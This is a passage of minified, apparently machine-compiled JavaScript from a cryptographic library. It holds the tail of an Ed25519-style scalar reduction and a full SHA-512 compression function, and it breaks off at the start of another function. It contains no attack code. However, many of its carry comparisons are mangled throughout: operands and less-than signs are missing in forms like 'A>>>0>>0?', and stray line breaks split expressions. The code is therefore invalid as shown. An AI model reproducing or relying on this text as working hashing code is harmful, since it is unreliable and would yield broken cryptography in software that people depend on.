]=(31&t)<<27|n>>>5,A=(r=2097151&wt)+(wt=(2097151&t)<<11|n>>>21)|0,r=t>>21,r=A>>>0>>0?r+1|0:r,wt=A,s[i+21|0]=A,mt=0,s[i+18|0]=mt<<14|(1835008&o)>>>18|n<<3,s[i+22|0]=(255&r)<<24|A>>>8,n=r>>21,n=(A=(o=(2097151&r)<<11|A>>>21)+(2097151&dt)|0)>>>0>>0?n+1|0:n,s[i+25|0]=(2047&n)<<21|A>>>11,s[i+24|0]=(7&n)<<29|A>>>3,s[i+23|0]=31&((65535&r)<<16|wt>>>16)|A<<5,t=n>>21,t=(r=(2097151&n)<<11|A>>>21)>>>0>(n=r+(2097151&ut)|0)>>>0?t+1|0:t,s[i+27|0]=(63&t)<<26|n>>>6,o=0,s[i+26|0]=o<<13|(1572864&A)>>>19|n<<2,r=t>>21,r=(t=(A=(2097151&t)<<11|n>>>21)+(2097151&ft)|0)>>>0>>0?r+1|0:r,s[i+31|0]=(131071&r)<<15|t>>>17,s[i+30|0]=(511&r)<<23|t>>>9,s[i+29|0]=(1&r)<<31|t>>>1,A=0,s[i+28|0]=A<<18|(2080768&n)>>>14|t<<7,oe(g,64),oe(h,64),e&&(a[e>>2]=64,a[e+4>>2]=0),I=u+560|0,0}function B(t,e,r,n){for(var A=0,i=0,o=0,s=0,h=0,g=0,u=0,l=0,f=0,p=0,d=0,I=0,C=0,m=0,B=0,E=0,w=0,v=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0,x=0,F=0,P=0,T=0,R=0,U=0,G=0,H=0,L=0,O=0,Y=0;o=(A=h<<3)+r|0,i=c[0|(A=e+A|0)]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,b=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,g=i<<24|(65280&i)<<8,u=(s=16711680&i)<<24,s=s>>>8|0,A=(f=-16777216&i)>>>24|0,a[o>>2]=u|f<<8|-16777216&((255&b)<<24|i>>>8)|16711680&((16777215&b)<<8|i>>>24)|b>>>8&65280|b>>>24,i=A|s|g,A=0,a[o+4>>2]=i|A|A,16!=(0|(h=h+1|0)););for(e=a[t+4>>2],a[n>>2]=a[t>>2],a[n+4>>2]=e,e=a[t+60>>2],a[n+56>>2]=a[t+56>>2],a[n+60>>2]=e,e=a[t+52>>2],a[n+48>>2]=a[t+48>>2],a[n+52>>2]=e,e=a[t+44>>2],a[n+40>>2]=a[t+40>>2],a[n+44>>2]=e,e=a[t+36>>2],a[n+32>>2]=a[t+32>>2],a[n+36>>2]=e,e=a[t+28>>2],a[n+24>>2]=a[t+24>>2],a[n+28>>2]=e,e=a[t+20>>2],a[n+16>>2]=a[t+16>>2],a[n+20>>2]=e,e=a[t+12>>2],a[n+8>>2]=a[t+8>>2],a[n+12>>2]=e;o=a[n+56>>2],s=a[n+60>>2],A=a[(e=b=(k=Y<<3)+r|0)>>2],e=a[e+4>>2],w=i=a[n+36>>2],i=ft(m=a[n+32>>2],i,50),h=y,i=ft(m,w,46)^i,h^=y,i=ft(m,w,23)^i,e=(y^h)+e|0,e=(A=i+A|0)>>>0>>0?e+1|0:e,A=(h=a[(i=k+34368|0)>>2])+A|0,e=a[i+4>>2]+e|0,e=A>>>0>>0?e+1|0:e,i=(h=((u=a[n+48>>2])^(p=a[n+40>>2]))&m^u)+A|0,A=(((B=a[n+52>>2])^(v=a[n+44>>2]))&w^B)+e|0,e=(i>>>0>>0?A+1|0:A)+s|0,e=(o=i+o|0)>>>0>>0?e+1|0:e,h=(i=a[n+24>>2])+o|0,A=a[n+28>>2]+e|0,d=A=i>>>0>h>>>0?A+1|0:A,a[n+24>>2]=h,a[n+28>>2]=A,E=A=a[n+4>>2],A=ft(i=a[n>>2],A,36),s=y,A=ft(i,E,30)^A,s^=y,f=o+(ft(i,E,25)^A)|0,A=e+(y^s)|0,A=o>>>0>f>>>0?A+1|0:A,g=(e=f)+(f=i&((s=a[n+16>>2])|(o=a[n+8>>2]))|o&s)|0,e=(e=A)+(E&((A=a[n+20>>2])|(I=a[n+12>>2]))|A&I)|0,f=e=g>>>0>>0?e+1|0:e,a[n+56>>2]=g,a[n+60>>2]=e,l=s,C=A,Q=a[(e=R=(_=8|k)+r|0)>>2],S=a[e+4>>2],A=((w^v)&d^v)+B|0,A=(e=(s=(p^m)&h^p)+u|0)>>>0>>0?A+1|0:A,s=ft(h,d,50),u=y,s=ft(h,d,46)^s,u^=y,s=(B=ft(h,d,23)^s)+e|0,e=(y^u)+A|0,e=(s>>>0>>0?e+1|0:e)+S|0,e=(A=s+Q|0)>>>0>>0?e+1|0:e,s=(s=A)+(u=a[(A=_+34368|0)>>2])|0,A=a[A+4>>2]+e|0,A=(e=s>>>0>>0?A+1|0:A)+C|0,B=A=(u=s+l|0)>>>0>>0?A+1|0:A,a[n+16>>2]=u,a[n+20>>2]=A,e=e+((I|E)&f|I&E)|0,e=(A=s+((i|o)&g|i&o)|0)>>>0>>0?e+1|0:e,s=ft(g,f,36),l=y,s=ft(g,f,30)^s,l^=y,C=A,A=ft(g,f,25)^s,e=(y^l)+e|0,l=e=A>>>0>(s=C+A|0)>>>0?e+1|0:e,a[n+48>>2]=s,a[n+52>>2]=e,C=o,_=I,e=(I=a[(A=x=(o=16|k)+r|0)>>2])+p|0,A=a[A+4>>2]+v|0,A=e>>>0>>0?A+1|0:A,o=(p=e)+(I=a[(e=o+34368|0)>>2])|0,e=a[e+4>>2]+A|0,e=((d^w)&B^w)+(e=o>>>0>>0?e+1|0:e)|0,e=(A=(A=o)+(o=(h^m)&u^m)|0)>>>0>>0?e+1|0:e,o=ft(u,B,50),I=y,o=ft(u,B,46)^o,I^=y,o=(p=ft(u,B,23)^o)+A|0,A=(y^I)+e|0,A=(p=o>>>0

>>0?A+1|0:A)+_|0,_=A=(I=o)>>>0>(o=o+C|0)>>>0?A+1|0:A,a[n+8>>2]=o,a[n+12>>2]=A,e=ft(s,l,36),A=y,e=ft(s,l,30)^e,A^=y,v=ft(s,l,25)^e,e=((f|E)&l|f&E)+(y^A)|0,A=p+((C=v+((i|g)&s|i&g)|0)>>>0>>0?e+1|0:e)|0,I=A=(p=I+C|0)>>>0>>0?A+1|0:A,a[n+40>>2]=p,a[n+44>>2]=A,C=i,A=(A=m)+(m=a[(e=U=(i=24|k)+r|0)>>2])|0,e=a[e+4>>2]+w|0,e=A>>>0>>0?e+1|0:e,i=(v=A)+(m=a[(A=i+34368|0)>>2])|0,A=a[A+4>>2]+e|0,A=(d^(d^B)&_)+(A=i>>>0>>0?A+1|0:A)|0,A=(e=(e=i)+(i=h^(h^u)&o)|0)>>>0>>0?A+1|0:A,i=ft(o,_,50),m=y,i=ft(o,_,46)^i,m^=y,i=(w=ft(o,_,23)^i)+e|0,e=(y^m)+A|0,A=(e=i>>>0>>0?e+1|0:e)+E|0,w=A=(E=i+C|0)>>>0>>0?A+1|0:A,a[n>>2]=E,a[n+4>>2]=A,A=ft(p,I,36),m=y,A=ft(p,I,30)^A,C=y^m,v=ft(p,I,25)^A,A=((f|l)&I|f&l)+(y^C)|0,e=e+((m=v+((s|g)&p|s&g)|0)>>>0>>0?A+1|0:A)|0,m=e=(C=i+m|0)>>>0>>0?e+1|0:e,a[n+32>>2]=C,a[n+36>>2]=e,i=a[(A=T=(e=32|k)+r|0)>>2],A=d+a[A+4>>2]|0,A=(i=i+h|0)>>>0>>0?A+1|0:A,i=(h=a[(e=e+34368|0)>>2])+i|0,e=a[e+4>>2]+A|0,e=(B^(B^_)&w)+(e=i>>>0>>0?e+1|0:e)|0,e=(A=(A=i)+(i=u^(o^u)&E)|0)>>>0>>0?e+1|0:e,i=ft(E,w,50),h=y,i=ft(E,w,46)^i,h^=y,i=(d=ft(E,w,23)^i)+A|0,A=(y^h)+e|0,v=A=i>>>0>>0?A+1|0:A,e=A,A=ft(C,m,36),h=y,A=ft(C,m,30)^A,d=y^h,Q=ft(C,m,25)^A,A=((l|I)&m|l&I)+(y^d)|0,e=((h=Q+((s|p)&C|s&p)|0)>>>0>>0?A+1|0:A)+e|0,h=e=(d=i+h|0)>>>0>>0?e+1|0:e,a[n+24>>2]=d,a[n+28>>2]=e,A=f+v|0,v=A=(f=i+g|0)>>>0>>0?A+1|0:A,a[n+56>>2]=f,a[n+60>>2]=A,i=a[(e=F=(A=40|k)+r|0)>>2],e=B+a[e+4>>2]|0,e=(i=i+u|0)>>>0>>0?e+1|0:e,i=(g=a[(A=A+34368|0)>>2])+i|0,A=a[A+4>>2]+e|0,A=(_^(w^_)&v)+(A=i>>>0>>0?A+1|0:A)|0,A=(e=(e=i)+(i=o^(o^E)&f)|0)>>>0>>0?A+1|0:A,i=ft(f,v,50),g=y,i=ft(f,v,46)^i,g^=y,i=(u=ft(f,v,23)^i)+e|0,e=(y^g)+A|0,e=i>>>0>>0?e+1|0:e,A=ft(d,h,36),g=y,A=ft(d,h,30)^A,u=y^g,B=ft(d,h,25)^A,A=((I|m)&h|I&m)+(y^u)|0,A=((g=B+((p|C)&d|p&C)|0)>>>0>>0?A+1|0:A)+e|0,g=A=(u=i+g|0)>>>0>>0?A+1|0:A,a[n+16>>2]=u,a[n+20>>2]=A,e=e+l|0,Q=e=(l=i+s|0)>>>0>>0?e+1|0:e,a[n+48>>2]=l,a[n+52>>2]=e,i=a[(A=M=(e=48|k)+r|0)>>2],A=_+a[A+4>>2]|0,A=(i=i+o|0)>>>0>>0?A+1|0:A,i=(o=a[(e=e+34368|0)>>2])+i|0,e=a[e+4>>2]+A|0,e=(w^(w^v)&Q)+(e=i>>>0>>0?e+1|0:e)|0,e=(A=(A=i)+(i=E^(f^E)&l)|0)>>>0>>0?e+1|0:e,i=ft(l,Q,50),o=y,i=ft(l,Q,46)^i,o^=y,i=(s=ft(l,Q,23)^i)+A|0,A=(y^o)+e|0,s=A=i>>>0>>0?A+1|0:A,e=A,A=ft(u,g,36),o=y,A=ft(u,g,30)^A,B=y^o,_=ft(u,g,25)^A,A=((h|m)&g|h&m)+(y^B)|0,e=((o=_+((d|C)&u|d&C)|0)>>>0<_>>>0?A+1|0:A)+e|0,B=e=(A=o)>>>0>(o=i+o|0)>>>0?e+1|0:e,a[n+8>>2]=o,a[n+12>>2]=e,A=s+I|0,_=A=(S=i+p|0)>>>0>>0?A+1|0:A,a[n+40>>2]=S,a[n+44>>2]=A,i=a[(e=P=(A=56|k)+r|0)>>2],e=w+a[e+4>>2]|0,e=(i=i+E|0)>>>0>>0?e+1|0:e,i=(s=a[(A=A+34368|0)>>2])+i|0,A=a[A+4>>2]+e|0,A=(v^(v^Q)&_)+(A=i>>>0>>0?A+1|0:A)|0,A=(e=(e=i)+(i=f^(f^l)&S)|0)>>>0>>0?A+1|0:A,i=ft(S,_,50),s=y,i=ft(S,_,46)^i,s^=y,i=(I=ft(S,_,23)^i)+e|0,e=(y^s)+A|0,e=i>>>0>>0?e+1|0:e,A=ft(o,B,36),s=y,A=ft(o,B,30)^A,I=y^s,p=ft(o,B,25)^A,A=((h|g)&B|h&g)+(y^I)|0,A=((s=p+((u|d)&o|u&d)|0)>>>0

>>0?A+1|0:A)+e|0,I=A=(I=s)>>>0>(s=i+s|0)>>>0?A+1|0:A,a[n>>2]=s,a[n+4>>2]=A,e=e+m|0,w=e=(p=i+C|0)>>>0>>0?e+1|0:e,a[n+32>>2]=p,a[n+36>>2]=e,i=a[(A=G=(e=64|k)+r|0)>>2],A=v+a[A+4>>2]|0,A=(i=i+f|0)>>>0>>0?A+1|0:A,i=(f=a[(e=e+34368|0)>>2])+i|0,e=a[e+4>>2]+A|0,e=(Q^(_^Q)&w)+(e=i>>>0>>0?e+1|0:e)|0,e=(A=(A=i)+(i=l^(l^S)&p)|0)>>>0>>0?e+1|0:e,i=ft(p,w,50),f=y,i=ft(p,w,46)^i,f^=y,i=(E=ft(p,w,23)^i)+A|0,A=(y^f)+e|0,m=A=i>>>0>>0?A+1|0:A,e=A,A=ft(s,I,36),f=y,A=ft(s,I,30)^A,E=y^f,C=ft(s,I,25)^A,A=((g|B)&I|g&B)+(y^E)|0,e=((f=C+((o|u)&s|o&u)|0)>>>0>>0?A+1|0:A)+e|0,f=e=(E=i+f|0)>>>0>>0?e+1|0:e,a[n+56>>2]=E,a[n+60>>2]=e,A=h+m|0,v=A=(h=i+d|0)>>>0>>0?A+1|0:A,a[n+24>>2]=h,a[n+28>>2]=A,i=a[(e=N=(A=72|k)+r|0)>>2],e=Q+a[e+4>>2]|0,e=(i=i+l|0)>>>0>>0?e+1|0:e,i=(l=a[(A=A+34368|0)>>2])+i|0,A=a[A+4>>2]+e|0,A=(_^(w^_)&v)+(A=i>>>0>>0?A+1|0:A)|0,A=(e=(e=i)+(i=S^(p^S)&h)|0)>>>0>>0?A+1|0:A,i=ft(h,v,50),l=y,i=ft(h,v,46)^i,l^=y,i=(m=ft(h,v,23)^i)+e|0,e=(y^l)+A|0,e=i>>>0>>0?e+1|0:e,A=ft(E,f,36),l=y,A=ft(E,f,30)^A,m=y^l,C=ft(E,f,25)^A,A=((I|B)&f|I&B)+(y^m)|0,A=((l=C+((o|s)&E|o&s)|0)>>>0>>0?A+1|0:A)+e|0,l=A=(m=i+l|0)>>>0>>0?A+1|0:A,a[n+48>>2]=m,a[n+52>>2]=A,e=e+g|0,Q=e=(g=i+u|0)>>>0>>0?e+1|0:e,a[n+16>>2]=g,a[n+20>>2]=e,e=(e=S)+(u=a[(A=S=(i=80|k)+r|0)>>2])|0,A=a[A+4>>2]+_|0,A=e>>>0>>0?A+1|0:A,i=(d=e)+(u=a[(e=i+34368|0)>>2])|0,e=a[e+4>>2]+A|0,e=(w^(w^v)&Q)+(e=i>>>0>>0?e+1|0:e)|0,e=(A=(A=i)+(i=p^(h^p)&g)|0)>>>0>>0?e+1|0:e,i=ft(g,Q,50),u=y,i=ft(g,Q,46)^i,u^=y,i=(C=ft(g,Q,23)^i)+A|0,A=(y^u)+e|0,d=A=i>>>0>>0?A+1|0:A,e=A,A=ft(m,l,36),u=y,A=ft(m,l,30)^A,C=y^u,_=ft(m,l,25)^A,A=((f|I)&l|f&I)+(y^C)|0,e=((u=_+((s|E)&m|s&E)|0)>>>0<_>>>0?A+1|0:A)+e|0,u=e=(C=i+u|0)>>>0>>0?e+1|0:e,a[n+40>>2]=C,a[n+44>>2]=e,A=d+B|0,B=A=(d=i+o|0)>>>0>>0?A+1|0:A,a[n+8>>2]=d,a[n+12>>2]=A,A=34368+(e=88|k)|0,o=a[(e=D=e+r|0)>>2],i=a[A>>2]+o|0,e=a[A+4>>2]+a[e+4>>2]|0,A=w+(i>>>0>>0?e+1|0:e)|0,A=(v^(v^Q)&B)+(A=(e=i+p|0)>>>0

>>0?A+1|0:A)|0,A=(e=(i=h^(h^g)&d)+e|0)>>>0>>0?A+1|0:A,i=ft(d,B,50),o=y,i=ft(d,B,46)^i,o^=y,i=(p=ft(d,B,23)^i)+e|0,e=(y^o)+A|0,e=i>>>0

>>0?e+1|0:e,A=ft(C,u,36),o=y,A=ft(C,u,30)^A,p=y^o,_=ft(C,u,25)^A,A=((f|l)&u|f&l)+(y^p)|0,A=((o=_+((m|E)&C|m&E)|0)>>>0<_>>>0?A+1|0:A)+e|0,p=A=(p=o)>>>0>(o=i+o|0)>>>0?A+1|0:A,a[n+32>>2]=o,a[n+36>>2]=A,e=e+I|0,I=e=(A=s)>>>0>(s=i+s|0)>>>0?e+1|0:e,a[n>>2]=s,a[n+4>>2]=e,A=34368+(e=96|k)|0,_=a[(e=H=e+r|0)>>2],i=a[A>>2]+_|0,A=a[A+4>>2]+a[e+4>>2]|0,e=v+(i>>>0<_>>>0?A+1|0:A)|0,e=(A=i+h|0)>>>0>>0?e+1|0:e,i=(h=g^(g^d)&s)+A|0,A=(Q^(B^Q)&I)+e|0,A=i>>>0>>0?A+1|0:A,e=ft(s,I,50),h=y,e=ft(s,I,46)^e,h^=y,v=i,i=ft(s,I,23)^e,A=(y^h)+A|0,w=A=(e=v+i|0)>>>0>>0?A+1|0:A,i=e,e=ft(o,p,36),h=y,e=ft(o,p,30)^e,_=y^h,v=ft(o,p,25)^e,e=((u|l)&p|u&l)+(y^_)|0,A=((h=v+((m|C)&o|m&C)|0)>>>0>>0?e+1|0:e)+A|0,h=A=(_=i+h|0)>>>0>>0?A+1|0:A,a[n+24>>2]=_,a[n+28>>2]=A,A=f+w|0,f=A=(E=i+E|0)>>>0>>0?A+1|0:A,a[n+56>>2]=E,a[n+60>>2]=A,A=34368+(e=104|k)|0,w=a[(e=O=e+r|0)>>2],i=a[A>>2]+w|0,e=a[A+4>>2]+a[e+4>>2]|0,A=Q+(i>>>0>>0?e+1|0:e)|0,A=(e=i+g|0)>>>0>>0?A+1|0:A,i=(g=d^(s^d)&E)+e|0,e=(B^(I^B)&f)+A|0,e=i>>>0>>0?e+1|0:e,A=ft(E,f,50),g=y,A=ft(E,f,46)^A,g^=y,w=ft(E,f,23)^A,A=(y^g)+e|0,v=A=(i=w+i|0)>>>0>>0?A+1|0:A,e=A,A=ft(_,h,36),g=y,A=ft(_,h,30)^A,w=y^g,Q=ft(_,h,25)^A,A=((u|p)&h|u&p)+(y^w)|0,e=((g=Q+((o|C)&_|o&C)|0)>>>0>>0?A+1|0:A)+e|0,g=e=(w=i+g|0)>>>0>>0?e+1|0:e,a[n+16>>2]=w,a[n+20>>2]=e,e=l+v|0,l=e=(m=i+m|0)>>>0>>0?e+1|0:e,a[n+48>>2]=m,a[n+52>>2]=e,A=34368+(e=112|k)|0,v=a[(i=Q=e+r|0)>>2],e=a[A>>2]+v|0,A=a[A+4>>2]+a[i+4>>2]|0,A=B+(e>>>0>>0?A+1|0:A)|0,A=(I^(f^I)&l)+(A=(e=e+d|0)>>>0>>0?A+1|0:A)|0,A=(e=(i=s^(s^E)&m)+e|0)>>>0>>0?A+1|0:A,i=ft(m,l,50),d=y,i=ft(m,l,46)^i,d^=y,i=(B=ft(m,l,23)^i)+e|0,e=(y^d)+A|0,v=e=i>>>0>>0?e+1|0:e,A=e,e=ft(w,g,36),d=y,e=ft(w,g,30)^e,B=y^d,L=ft(w,g,25)^e,e=((h|p)&g|h&p)+(y^B)|0,A=((d=L+((o|_)&w|o&_)|0)>>>0>>0?e+1|0:e)+A|0,d=A=(B=i+d|0)>>>0>>0?A+1|0:A,a[n+8>>2]=B,a[n+12>>2]=A,A=u+v|0,i=A=(u=i+C|0)>>>0>>0?A+1|0:A,a[n+40>>2]=u,a[n+44>>2]=A,A=34368+(e=120|k)|0,k=a[(e=C=e+r|0)>>2],v=a[A>>2]+k|0,A=a[A+4>>2]+a[e+4>>2]|0,e=I+(v>>>0>>0?A+1|0:A)|0,e=(f^(f^l)&i)+(e=(A=s+v|0)>>>0>>0?e+1|0:e)|0,e=(A=(s=E^(m^E)&u)+A|0)>>>0>>0?e+1|0:e,s=ft(u,i,50),f=y,s=ft(u,i,46)^s,f^=y,i=(s=ft(u,i,23)^s)+A|0,A=(y^f)+e|0,A=i>>>0>>0?A+1|0:A,s=i,f=A,e=A,A=ft(B,d,36),u=y,A=ft(B,d,30)^A,l=y^u,I=ft(B,d,25)^A,A=((h|g)&d|h&g)+(y^l)|0,e=((u=I+((w|_)&B|w&_)|0)>>>0>>0?A+1|0:A)+e|0,e=(i=i+u|0)>>>0>>0?e+1|0:e,a[n>>2]=i,a[n+4>>2]=e,A=f+p|0,A=(l=o)>>>0>(o=o+s|0)>>>0?A+1|0:A,a[n+32>>2]=o,a[n+36>>2]=A,64!=(0|Y);)g=((Y=Y+16|0)<<3)+r|0,s=a[b>>2],h=a[b+4>>2],L=a[N>>2],f=e=a[N+4>>2],A=e,i=e=a[Q+4>>2],e=ft(_=a[Q>>2],e,45),o=y,l=((63&i)<<26|_>>>6)^(e=ft(_,i,3)^e),e=(i>>>6^(u=y^o))+A|0,A=((o=l+L|0)>>>0>>0?e+1|0:e)+h|0,A=(e=o+s|0)>>>0>>0?A+1|0:A,s=o=a[R+4>>2],o=ft(h=a[R>>2],o,63),u=y,o=((127&s)<<25|h>>>7)^ft(h,s,56)^o,A=(y^u^s>>>7)+A|0,o=A=o>>>0>(w=o+e|0)>>>0?A+1|0:A,a[g>>2]=w,a[g+4>>2]=A,h=(Q=a[S>>2])+h|0,e=(g=a[S+4>>2])+s|0,A=h>>>0>>0?e+1|0:e,s=e=a[C+4>>2],e=ft(v=a[C>>2],e,45),u=y,l=h,h=((63&s)<<26|v>>>6)^ft(v,s,3)^e,A=(y^u^s>>>6)+A|0,h=h>>>0>(l=l+h|0)>>>0?A+1|0:A,A=ft(u=a[x>>2],e=a[x+4>>2],63),I=y,d=l,l=((127&e)<<25|u>>>7)^ft(u,e,56)^A,A=(y^I^e>>>7)+h|0,h=A=l>>>0>(B=d+l|0)>>>0?A+1|0:A,a[b+136>>2]=B,a[b+140>>2]=A,A=(S=a[D>>2])+u|0,e=(u=a[D+4>>2])+e|0,l=ft(w,o,45),I=y,l=(p=((63&o)<<26|w>>>6)^ft(w,o,3)^l)+A|0,A=(y^I^o>>>6)+(A>>>0>>0?e+1|0:e)|0,A=l>>>0

>>0?A+1|0:A,I=e=a[U+4>>2],e=ft(p=a[U>>2],e,63),E=y,d=l,l=((127&I)<<25|p>>>7)^ft(p,I,56)^e,A=(y^E^I>>>7)+A|0,l=A=l>>>0>(k=d+l|0)>>>0?A+1|0:A,a[b+144>>2]=k,a[b+148>>2]=A,p=(R=a[H>>2])+p|0,e=(e=I)+(I=a[H+4>>2])|0,A=p>>>0>>0?e+1|0:e,e=ft(B,h,45),E=y,m=((63&h)<<26|B>>>6)^ft(B,h,3)^e,A=(y^E^h>>>6)+A|0,A=(p=m+p|0)>>>0>>0?A+1|0:A,E=e=a[T+4>>2],e=ft(m=a[T>>2],e,63),C=y,d=p,p=((127&E)<<25|m>>>7)^ft(m,E,56)^e,A=(y^C^E>>>7)+A|0,p=A=p>>>0>(x=d+p|0)>>>0?A+1|0:A,a[b+152>>2]=x,a[b+156>>2]=A,e=(U=a[O>>2])+m|0,A=(A=E)+(E=a[O+4>>2])|0,m=ft(k,l,45),C=y,m=((63&l)<<26|k>>>6)^ft(k,l,3)^m,A=(y^C^l>>>6)+(e>>>0>>0?A+1|0:A)|0,m=(d=m+e|0)>>>0>>0?A+1|0:A,A=ft(C=a[F>>2],e=a[F+4>>2],63),T=y,D=d,d=((127&e)<<25|C>>>7)^(A=ft(C,e,56)^A),A=(e>>>7^(F=y^T))+m|0,m=A=d>>>0>(T=D+d|0)>>>0?A+1|0:A,a[b+160>>2]=T,a[b+164>>2]=A,e=e+i|0,e=(A=C+_|0)>>>0>>0?e+1|0:e,C=ft(x,p,45),d=y,C=(F=((63&p)<<26|x>>>6)^ft(x,p,3)^C)+A|0,A=(y^d^p>>>6)+e|0,A=C>>>0>>0?A+1|0:A,d=a[M>>2],M=e=a[M+4>>2],e=ft(d,e,63),F=y,e=ft(d,M,56)^e,D=C,A=(M>>>7^(N=y^F))+A|0,C=A=(C=((127&M)<<25|d>>>7)^e)>>>0>(F=D+C|0)>>>0?A+1|0:A,a[b+168>>2]=F,a[b+172>>2]=A,e=s+M|0,e=(A=d+v|0)>>>0>>0?e+1|0:e,D=d=a[P+4>>2],d=ft(N=a[P>>2],d,63),M=y,d=(P=((127&D)<<25|N>>>7)^ft(N,D,56)^d)+A|0,A=(y^M^D>>>7)+e|0,e=d>>>0

>>0?A+1|0:A,A=ft(T,m,45),M=y,A=ft(T,m,3)^A,P=y^M,M=d,e=(m>>>6^P)+e|0,d=e=(d=((63&m)<<26|T>>>6)^A)>>>0>(M=M+d|0)>>>0?e+1|0:e,a[b+176>>2]=M,a[b+180>>2]=e,H=a[G>>2],G=e=a[G+4>>2],P=e,e=ft(L,f,63),A=y,O=((127&f)<<25|L>>>7)^ft(L,f,56)^e,e=(y^A^f>>>7)+h|0,A=((B=O+B|0)>>>0>>0?e+1|0:e)+P|0,A=(e=B+H|0)>>>0>>0?A+1|0:A,h=ft(M,d,45),B=y,P=(h=((63&d)<<26|M>>>6)^ft(M,d,3)^h)+e|0,e=(y^B^d>>>6)+A|0,h=e=h>>>0>P>>>0?e+1|0:e,a[b+192>>2]=P,a[b+196>>2]=e,A=o+D|0,A=(e=w+N|0)>>>0>>0?A+1|0:A,B=ft(H,G,63),N=y,D=((127&G)<<25|H>>>7)^ft(H,G,56)^B,A=(y^N^G>>>7)+A|0,e=(B=D+e|0)>>>0>>0?A+1|0:A,A=ft(F,C,45),N=y,A=ft(F,C,3)^A,G=B,e=(C>>>6^(D=y^N))+e|0,B=e=(B=((63&C)<<26|F>>>6)^A)>>>0>(N=G+B|0)>>>0?e+1|0:e,a[b+184>>2]=N,a[b+188>>2]=e,e=ft(S,u,63),A=y,e=((127&u)<<25|S>>>7)^ft(S,u,56)^e,A=(y^A^u>>>7)+g|0,e=p+(e>>>0>(D=e+Q|0)>>>0?A+1|0:A)|0,e=(A=x+D|0)>>>0>>0?e+1|0:e,p=ft(P,h,45),x=y,p=ft(P,h,3)^p,D=y^x,x=(p^=(63&h)<<26|P>>>6)+A|0,A=(h>>>6^D)+e|0,p=A=p>>>0>x>>>0?A+1|0:A,a[b+208>>2]=x,a[b+212>>2]=A,e=ft(Q,g,63),A=y,D=ft(Q,g,56)^e,A=((e=g>>>7|0)^y^A)+f|0,e=l+((g=(Q=D^((127&g)<<25|Q>>>7))+L|0)>>>0>>0?A+1|0:A)|0,e=(A=g+k|0)>>>0>>0?e+1|0:e,f=ft(N,B,45),g=y,l=(f=((63&B)<<26|N>>>6)^ft(N,B,3)^f)+A|0,A=(y^g^B>>>6)+e|0,f=A=f>>>0>l>>>0?A+1|0:A,a[b+200>>2]=l,a[b+204>>2]=A,e=ft(U,E,63),A=y,Q=((127&E)<<25|U>>>7)^ft(U,E,56)^e,e=(y^A^E>>>7)+I|0,A=C+((g=Q+R|0)>>>0>>0?e+1|0:e)|0,A=(e=g+F|0)>>>0>>0?A+1|0:A,g=ft(x,p,45),C=y,Q=e,e=p>>>6|0,g=((63&p)<<26|x>>>6)^ft(x,p,3)^g,A=(e^y^C)+A|0,g=A=g>>>0>(p=Q+g|0)>>>0?A+1|0:A,a[b+224>>2]=p,a[b+228>>2]=A,e=ft(R,I,63),A=y,e=ft(R,I,56)^e,C=y^A,Q=((127&I)<<25|R>>>7)^e,e=((A=I>>>7|0)^C)+u|0,A=m+((I=Q+S|0)>>>0>>0?e+1|0:e)|0,A=(e=I+T|0)>>>0>>0?A+1|0:A,u=ft(l,f,45),I=y,C=e,e=f>>>6|0,f=((63&f)<<26|l>>>6)^ft(l,f,3)^u,e=(e^y^I)+A|0,f=e=(u=C+f|0)>>>0>>0?e+1|0:e,a[b+216>>2]=u,a[b+220>>2]=e,e=ft(v,s,63),A=y,I=((127&s)<<25|v>>>7)^ft(v,s,56)^e,A=(y^A^s>>>7)+i|0,A=B+((e=I+_|0)>>>0>>0?A+1|0:A)|0,e=(l=e+N|0)>>>0>>0?A+1|0:A,A=ft(p,g,45),I=y,C=l,l=ft(p,g,3)^A,A=g>>>6|0,g=C+(l^=(63&g)<<26|p>>>6)|0,e=(A^y^I)+e|0,a[b+240>>2]=g,a[b+244>>2]=g>>>0>>0?e+1|0:e,e=ft(_,i,63),A=y,e=ft(_,i,56)^e,g=y^A,A=((A=i>>>7|0)^g)+E|0,e=d+((e^=(127&i)<<25|_>>>7)>>>0>(i=e+U|0)>>>0?A+1|0:A)|0,e=(A=i+M|0)>>>0>>0?e+1|0:e,i=ft(u,f,45),g=y,l=A,A=f>>>6|0,i=((63&f)<<26|u>>>6)^ft(u,f,3)^i,A=(A^y^g)+e|0,i=A=i>>>0>(f=l+i|0)>>>0?A+1|0:A,a[b+232>>2]=f,a[b+236>>2]=A,e=ft(w,o,63),A=y,l=ft(w,o,56)^e,A=((e=o>>>7|0)^y^A)+s|0,e=h+((o=(g=l^((127&o)<<25|w>>>7))+v|0)>>>0>>0?A+1|0:A)|0,e=(A=o+P|0)>>>0

>>0?e+1|0:e,o=ft(f,i,45),s=y,l=A,A=i>>>6|0,i=l+(o=((63&i)<<26|f>>>6)^ft(f,i,3)^o)|0,A=(A^y^s)+e|0,a[b+248>>2]=i,a[b+252>>2]=i>>>0>>0?A+1|0:A;e=e+a[t+4>>2]|0,e=(r=i+a[t>>2]|0)>>>0>>0?e+1|0:e,a[t>>2]=r,a[t+4>>2]=e,A=a[t+12>>2]+a[n+12>>2]|0,e=(r=a[n+8>>2])+a[t+8>>2]|0,a[t+8>>2]=e,a[t+12>>2]=e>>>0>>0?A+1|0:A,A=a[t+20>>2]+a[n+20>>2]|0,e=(r=a[n+16>>2])+a[t+16>>2]|0,a[t+16>>2]=e,a[t+20>>2]=e>>>0>>0?A+1|0:A,e=a[t+28>>2]+a[n+28>>2]|0,r=(A=a[n+24>>2])+a[t+24>>2]|0,a[t+24>>2]=r,a[t+28>>2]=r>>>0>>0?e+1|0:e,A=a[t+36>>2]+a[n+36>>2]|0,e=(r=a[n+32>>2])+a[t+32>>2]|0,a[t+32>>2]=e,a[t+36>>2]=e>>>0>>0?A+1|0:A,e=a[t+44>>2]+a[n+44>>2]|0,r=(A=a[n+40>>2])+a[t+40>>2]|0,a[t+40>>2]=r,a[t+44>>2]=r>>>0>>0?e+1|0:e,A=a[t+52>>2]+a[n+52>>2]|0,e=(r=a[n+48>>2])+a[t+48>>2]|0,a[t+48>>2]=e,a[t+52>>2]=e>>>0>>0?A+1|0:A,A=a[t+60>>2]+a[n+60>>2]|0,e=(r=a[n+56>>2])+a[t+56>>2]|0,a[t+56>>2]=e,a[t+60>>2]=e>>>0>>0?A+1|0:A}function E(t){var 